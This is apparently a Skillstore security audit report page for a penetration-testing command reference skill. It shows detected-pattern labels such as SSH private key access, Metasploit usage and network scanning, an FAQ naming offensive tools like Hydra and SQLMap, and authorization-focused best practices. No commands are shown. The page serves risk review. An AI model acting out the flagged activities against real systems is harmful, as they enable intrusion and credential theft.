SKILL.md:381 SKILL.md:240 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:250 SKILL.md:251 SKILL.md:252 SKILL.md:255 SKILL.md:258 SKILL.md:265 SKILL.md:268 SKILL.md:271 SKILL.md:274 SKILL.md:277 SKILL.md:280 SKILL.md:283 SKILL.md:286 SKILL.md:289 SKILL.md:428 SKILL.md:39 SKILL.md:42 SKILL.md:45 SKILL.md:52 SKILL.md:55 SKILL.md:58 SKILL.md:61 SKILL.md:64 SKILL.md:71 SKILL.md:74 SKILL.md:77 SKILL.md:80 SKILL.md:87 SKILL.md:90 SKILL.md:93 SKILL.md:96 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:108 SKILL.md:111 SKILL.md:114 SKILL.md:117 SKILL.md:124 SKILL.md:127 SKILL.md:130 SKILL.md:133 SKILL.md:154 SKILL.md:167 SKILL.md:170 SKILL.md:173 SKILL.md:176 SKILL.md:179 SKILL.md:182 SKILL.md:189 SKILL.md:192 SKILL.md:195 SKILL.md:198 SKILL.md:201 SKILL.md:204 SKILL.md:211 SKILL.md:218 SKILL.md:221 SKILL.md:224 SKILL.md:227 SKILL.md:230 SKILL.md:233 SKILL.md:240 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:250 SKILL.md:251 SKILL.md:252 SKILL.md:255 SKILL.md:258 SKILL.md:265 SKILL.md:268 SKILL.md:271 SKILL.md:274 SKILL.md:277 SKILL.md:280 SKILL.md:283 SKILL.md:286 SKILL.md:289 SKILL.md:296 SKILL.md:299 SKILL.md:302 SKILL.md:305 SKILL.md:308 SKILL.md:311 SKILL.md:314 SKILL.md:317 SKILL.md:378 SKILL.md:390 SKILL.md:393 SKILL.md:396 SKILL.md:422 SKILL.md:299 SKILL.md:296 SKILL.md:317
📁 Filesystem access (2)
Detected Patterns
SSH private key fileMetasploit framework×7Malware type keywords×2System reconnaissanceNetwork scanning tools×33
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-pentest-commands/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-pentest-commands?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-pentest-commands?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-pentest-commands/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-pentest-commands.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). pentest-commands security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-pentest-commands/audits/4BibTeX citation
@techreport{sickn33-sickn33-pentest-commands-2026,
author = {sickn33},
title = {pentest-commands security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-pentest-commands/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "pentest-commands security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-pentest-commands/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-pentest-commands:audit:4"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
85
Content
70
Community
83
Spec Compliance
What You Can Build
Prepare Authorized Assessment Notes
Map common security tools to phases of an approved penetration test.
Teach Lab Tool Categories
Explain how scanning, exploitation, web testing, and password auditing tools differ.
Audit Offensive Tool Coverage
Review whether internal guidance includes risky command categories that need controls.
Try These Prompts
Explain Tool Purpose
Explain what each penetration testing tool category in this skill is used for during an authorized lab assessment.
Plan a Lab Checklist
Create a safe checklist for using these command categories inside an isolated training lab with written authorization.
Review Command Risk
Review the commands in this skill and classify which ones require extra approval, rate limits, or lab-only use.
Rewrite for Defensive Use
Rewrite this skill as defensive assessment guidance that removes exploit execution, credential attacks, and payload generation.
Best Practices
- Use only with written authorization and a defined technical scope.
- Replace all placeholders with approved lab targets before any execution.
- Record approvals, timing limits, expected impact, and rollback steps before testing.
Avoid
- Running scans or exploits against public or unknown systems.
- Using brute force examples against live user accounts.
- Copying payload generation commands into production environments.
Frequently Asked Questions
Is this skill safe for unrestricted use?
No. It contains offensive command references that require authorization and careful scope control.
Does the skill run commands by itself?
No. It is a written command reference, but users could copy commands into a shell.
What tools does it cover?
It covers Nmap, Metasploit, Nikto, SQLMap, Hydra, John the Ripper, Aircrack-ng, and Tshark.
Can it verify permission to test a target?
No. Authorization must be confirmed outside the skill before any assessment activity.
Why is marketplace review important for this skill?
The content includes exploitation, brute force, payload generation, and database extraction examples.
How should authors make it safer?
Remove runnable offensive commands, keep defensive explanations, and add strict lab-only and authorization guidance.
Developer Details
Author
sickn33License
MIT
Author version
v1.1
Skillstore revision
r1
Version notice
The author-declared version is not valid SemVer.
Ref
816c62b2546ddb1c6a0453e7c781b5e095117819
Maintenance freshness
7/18/2026
Usage
5 downloads · 203 views
File structure
📄 SKILL.md
More from sickn33
View all📦
prompt-engineering-patterns
85Improve LLM Prompts With Proven Patterns
Inconsistent prompts waste time and make AI outputs hard to trust. This skill guides prompt design with reusable patterns, examples, evaluation steps, and optimization workflows.
Productivity View
📦
senior-fullstack
82Build Fullstack Apps with Senior Patterns
Teams need consistent setup, architecture, and review guidance for modern web applications. This skill provides scaffolders, workflow references, and quality prompts for React, Next.js, Node.js, GraphQL, and PostgreSQL projects.
Coding & Development View
📦
senior-architect
81Design Scalable Software Architectures
Architecture decisions are hard to compare across web, mobile, backend, and cloud systems. This skill provides structured guides and local scaffold scripts for reports, dependency review, and trade-off documentation.
Coding & Development View
📦
prompt-engineer
81Optimize AI Prompts With Prompt Engineer
Writing clear prompts is hard when goals are vague or complex. This skill turns rough requests into structured prompts using proven prompt frameworks.
Productivity View
📦
product-manager-toolkit
80Prioritize Product Work With Research Insights
Product teams need faster ways to rank features, synthesize interviews, and document decisions. This skill provides RICE scoring, interview analysis, and PRD templates for structured planning.
Productivity View
Related Skills
View all📦
security-report
78Create Security Assessment Reports
by BytR-Ecosystems
Security findings often become inconsistent reports that are difficult to prioritize. This skill guides structured DOCX reports with risk ratings, evidence, and remediation plans.
Security & Compliance View
📦
senior-security
81Strengthen Application Security Reviews
by alirezarezvani
Security reviews often lack consistent checklists and reusable workflows. This skill provides security review scaffolds, reference guidance, and simple reporting scripts for Claude, Codex, and Claude Code.
Security & Compliance View
📦
security-audit
79Audit Applications for Security Risk
by 89jobrien
Security reviews can miss common vulnerabilities when scope, severity, and remediation are unclear. This skill guides structured audits using OWASP checks, CVSS scoring, and report templates.
Security & Compliance View
📦
telnetshell
38Audit IoT Devices Through Telnet Shells
by BrownFineSecurity
Manual Telnet assessment is slow and difficult to document. This skill runs logged commands, batch enumeration, and structured output against authorized IoT targets.
Security & Compliance View
📦
pentest-coordinator
38Coordinate Authorized Lab Penetration Tests
by CharlesKozel
Penetration testing labs require careful state tracking across reconnaissance, exploitation, and privilege escalation. This skill coordinates an authorized lab workflow with structured notes, attempts, and completion criteria.
Security & Compliance View
📦
pentest-metasploit
38Audit Metasploit Workflows Safely
by AgentSecOps
Security teams need structured review of authorized exploit validation, but these workflows carry high misuse risk. This skill documents Metasploit assessment steps with scope checks, logging, and cleanup guidance.
Security & Compliance View